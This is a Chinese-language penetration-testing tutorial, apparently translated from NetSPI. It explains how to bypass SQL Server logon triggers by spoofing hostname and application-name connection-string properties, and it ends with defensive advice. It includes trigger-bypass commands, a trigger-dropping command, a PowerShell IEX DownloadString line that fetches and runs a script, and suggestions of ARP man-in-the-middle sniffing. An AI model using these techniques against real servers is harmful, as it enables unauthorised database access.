在做渗透测试任务时,我们常常会碰到一些直连SQL Server数据库的桌面应用。但偶尔也会碰到一些后端为SQL Server的应用,并且其只允许来自预定义的主机名或应用程序列表的连接。这些类型的限制通常是通过登录触发器来强制执行的。在本文中,我将向大家展示如何利用连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。示例中将会包括SSMS和PowerUpSQL。这对于那些继承了旧式桌面应用的渗透测试人员和开发人员非常有用。

什么是登录触发器?

登录触发器将为响应LOGON事件而激发存储过程。与 SQL Server实例建立用户会话时将引发此事件。 登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。 因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自PRINT语句的消息)会传送到SQL Server错误日志。 如果身份验证失败,将不激发登录触发器。

安装SQL Server

如果你还没有安装SQL Server,请进行如下操作:

1.下载并安装SQL Server

2.下载并安装SQL Server Management Studio Express(SSMS)

创建一个主机名限制登录触发器

以下是在家庭实验环境中设置触发器的说明,该触发器将根据连接的工作站名称来限制访问。

1.使用SSMS以sysadmin身份登录到新的SQL Server实例。

2.首先,让我们使用以下命令来获取连接到SQL server实例的主机名。默认情况下,它将向我们返回连接到SQL Server实例的工作站的主机名。

SELECT HOST_NAME()
1img_5b325a7e4a769.png

3.创建一个仅允许白名单主机名连接的登录触发器。并按照下图所示执行该触发器。

-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
    IF
    (
        -- White list of allowed hostnames are defined here.
        HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
    )
    BEGIN
        RAISERROR('You are not allowed to login from this hostname.', 16, 1);
        ROLLBACK;
    END 
END
2img_5b325b5e8de13.png

4.设置登录触发器后,当你再次尝试使用SSMS登录时,应该会出现类似下面的错误,因为你要连接的主机名并不在当前的白名单上。

3img_5b325c49d4dc9.png

使用SSMS欺骗主机名

在这一点上,你可能会问,“我们(攻击者)什么时候会在现实世界中实际使用它呢?”我的回答是通常是在你从配置文件或反编译代码恢复连接字符串之后使用,现在我们希望使用该信息直接连接到后端SQL Server,这是应用程序渗透测试中非常常见的情况。此外,我们还会在网络测试和红蓝对抗期间,在打开的文件共享中找到一些内部应用程序和配置文件。

1.在SSMS中打开“Connect Object Explorer”并导航到“Additional Connection Parameters”选项。这里我们可以动态设置连接字符串属性(超酷)。本例中,我们将“Workstation ID”属性设置为“DevBox”,这是白名单中包含的一个主机名。注意:稍后我会介绍几种识别白名单主机名的方法。

4img_5b325d7b850fa.png

2.点击connect登录。此时,如果你打开查询窗口再次检查主机名时,你会发现主机名将返回“DevBox”。这进一步说明我们成功欺骗了主机名的检测。

SELECT HOST_NAME()

5img_5b325da92e1fe.png

使用连接字符串欺骗主机名

实际上,SSMS只是使用”workstation id”属性集来构建了一个连接字符串。下面是一个简单连接字符串的例子,它将作为当前Windows用户连接到远程SQL Server实例,并选择“Master”数据库。

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;

如果我们在上一节中展示的登录触发器已经生效的话,我们应该看到“failed to connect”消息。 但是,如果将“Workstation ID”属性设置为白名单中的主机名,就能够顺利登录。

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;

使用PowerUpSQL欺骗主机名

我在PowerUpSQL的Get-SQLQuery函数中添加了“WorkstationId”选项。下面是一个示例,将为大家演示如何绕过我们在上一节中创建的登录触发器。

1.打开Powershell并使用自己喜欢的方式加载PowerUpSQL。下面的示例显示了如何直接从GitHub加载PowerUpSQL。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.由于触发器限制,初始连接失败。 请注意,我们需要设置“-ReturnError”标志,以查看服务器返回的错误信息。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
6img_5b325e12ecbd2.png

3.现在我们将workstationid选项设置为“DevBox”,这样你就能够成功执行查询了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
7img_5b325e1fc990c.png

4.如果你想要删除触发器,你可以执行以下命令。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'

创建登录触发器来限制应用程序

以下是在家庭实验室中设置触发器的说明,该触发器将根据连接的应用程序名称来限制访问。

1.使用SSMS以sysadmin身份登录到新的SQL Server实例。

2.首先,让我们使用以下命令查看下连接到SQL Server实例的应用程序的名称。不出意外的话,它应为我们返回“Microsoft SQL Server Management Studio – Query”。

SELECT APP_NAME()
8img_5b3267a8e3abd.png

3.创建一个仅允许白名单应用程序进行连接的登录触发器。并按照下图所示执行该触发器。

CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
     IF
     (
          -- Set the white list of application names here
          APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
     )
     BEGIN
          RAISERROR('You are not allowed to login from this application name.', 16, 1);
          ROLLBACK;
     END
END
9img_5b3267ed71881.png

4.设置登录触发器后,当你再次尝试使用SSMS登录时,你应该会收到以下错误提示,因为你要连接的应用程序并不在当前的白名单列表中。

10img_5b32681aaebe3.png

使用SSMS欺骗应用程序名称

同样地你可能会问,“我们(攻击者)什么时候会在现实世界中实际使用它呢?”。某些应用程序的名称已经在连接SQL Server的连接字符串中静态设置。与主机名类似,我们可以在配置文件和源码中找到它们。实际上,很少能见到登录触发器使用应用程序名称来限制访问,但我们也已碰见过好几回了。

1.在SSMS中打开”Connect Object Explorer”并导航到”Additional Connection Parameters”选项。我们可以在这里即时设置连接字符串属性(超酷)。 对于这个例子来说,我们将”application name”属性设置为”SuperApp3000″,它是白名单中的一个应用程序名。注意:稍后我会介绍几种识别白名单中的应用程序名的方法。

11img_5b3269a411299.png

2.点击connect登录。此时,如果你打开查询窗口再次检查应用程序名时,你会发现应用程序名将返回“SuperApp3000”。这进一步说明我们成功欺骗了主机名的检测。

SELECT APP_NAME()

12img_5b3269bf1a62e.png

使用字符串连接欺骗应用程序名称

正如在上一节中提到的那样,存在一个名为“AppName”的连接字符串属性,应用程序可以使用它将其应用程序名称提交给SQL Server,例如:

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  Application Name =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  ApplicationName =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  AppName =MyApp"

使用PowerUpSQL欺骗应用程序名称

出于场景演示的需要,我更新了PowerUpSQL的Get-SQLQuery函数使其包含“appname”选项。示例如下:

1.打开Powershell并使用自己喜欢的方式加载PowerUpSQL。下面的示例显示了如何直接从GitHub加载PowerUpSQL。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.PowerUpSQL函数封装了许多.NET SQL Server函数。默认情况下,当使用.NET以编程方式连接到SQL Server时,“appname”属性将设置为“.Net SqlClient Data Provider”。但是,由于我们创建了一个新的登录触发器,并通过“appname”来限制访问,所以会得到以下错误。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
13img_5b326e1e514c7.png

3.现在将“appname”属性设置为“SuperApp3000”,这样就能够成功执行查询了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
14img_5b326e26c3133.png

4.如果你想要删除触发器,你可以执行以下命令。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'

5.现在你不需要欺骗应用程序名称就可以连接了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014  -Query 'SELECT APP_NAME()'
15img_5b326e31e8e56.png

6.或者你也可以伪造任意应用程序的名称。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'

16img_5b326e3964490.png

寻找白名单列表中的主机和应用程序名

如果你不确定登录触发器的白名单列表中有哪些主机和应用程序名,则可以借助下面的这些方法。

1.检查登录触发源代码

获取登录触发器中白名单列表的最佳方法是查看其源代码。 但通常情况下,这都需要一定的权限才能访问。

SELECT	name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers  
ORDER BY name ASC
17img_5b326ef3a21a5.png

2.查看应用程序代码查找硬编码的的主机名和应用程序

有时白名单中的主机名和应用程序会被硬编码到应用程序中。如果您正在处理.NET或Java应用程序,则可以通过反编译,并查找与正在使用的连接字符串相关的关键字来定位有关源代码。这种方法假定您可以访问应用程序程序集或配置文件。这时,JD-GUIDNSPY将会派上用场。

3.考察应用流量

有时,白名单中的主机名和应用程序,是应用程序启动时从数据库服务器中抓取的。因此,您可以使用您最喜爱的嗅探器来获取白名单中的主机名和应用程序。我有过几次这样的经历。你可能会问,为什么会有人这么做? 别人可能永远不会知道答案。

4.使用域系统列表

如果您已经拥有域帐户,则可以查询Active Directory以获取域计算机的列表。然后,您可以遍历列表,从而找出允许连接的列表。当然,这里假定当前域用户有权登录到SQL Server,并且白名单列出的主机名与域相关联。

5.使用MITM记录连接

我们还可以通过基于ARP的中间人(MITM)攻击来拦截从远程系统到SQL Server的连接。如果连接已加密(自SQL Server 2014以来,都会默认进行加密),虽然看不到流量内容,但能够看到已经连接了哪些主机。当然,我们也可以使用MITM技术。

警告:如果攻击过程正在验证登陆凭证,可能会导致数据包丢失,并对生产系统产生严重影响,因此请谨慎使用该方法。

一般建议


使用登录触发器时,不要根据客户端可以轻松修改的信息来限制对SQL Server的访问。

如果您希望使用白名单技术限制系统访问,请考虑使用网络或主机级防火墙规则,而不是登录触发器。

考虑根据用户组和访问权限来限制对SQL Server的访问,而不是使用登录触发器。

在本文中,我介绍了一些鲜为人知的利用连接字符串属性来绕过SQL Server登录触发器强制执行的访问限制的方法。这些方法在对传统桌面应用程序渗透测试时,将非常的有用。对于那些感兴趣的人,你还可以在这里查看我更新后的“SQL Server连接字符串Cheatsheet”

参考

https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8

https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017

https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/

*参考来源:netspi